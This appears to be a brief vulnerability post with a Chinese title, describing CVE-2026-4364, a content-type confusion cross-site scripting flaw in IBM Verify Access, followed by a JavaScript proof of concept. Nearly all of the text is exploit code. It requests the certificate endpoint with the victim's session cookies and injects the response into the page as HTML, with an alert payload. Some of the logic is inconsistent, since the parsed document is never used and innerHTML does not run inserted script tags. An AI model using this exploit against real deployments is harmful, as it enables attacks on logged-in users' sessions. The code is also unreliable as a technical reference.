CVE-2026-4364 IBM Verify Access内容类型混淆XSS漏洞

/* * PoC for CVE-2026-4364 * Scenario: Browser receives JSON with Content-Type: text/html */ // 1. Attacker crafts a link to the vulnerable certificate listing endpoint // 2. Victim (logged in) clicks the link or visits a page making this request fetch('https://target-server/iva/certificates', { method: 'GET', credentials: 'include' // Send session cookies }) .then(response => { // The server responds with Content-Type: text/html console.log("Content-Type:", response.headers.get('Content-Type')); return response.text(); }) .then(data => { // If the JSON payload contains: {"cert": "<script>alert('XSS')</script>"} // and the browser treats the response as HTML, the script executes. // Simulating the vulnerability by forcing HTML parsing const parser = new DOMParser(); const doc = parser.parseFromString(data, 'text/html'); // If the data was treated as script, it would run here. document.body.innerHTML = data; console.log("Check if alert box appeared"); });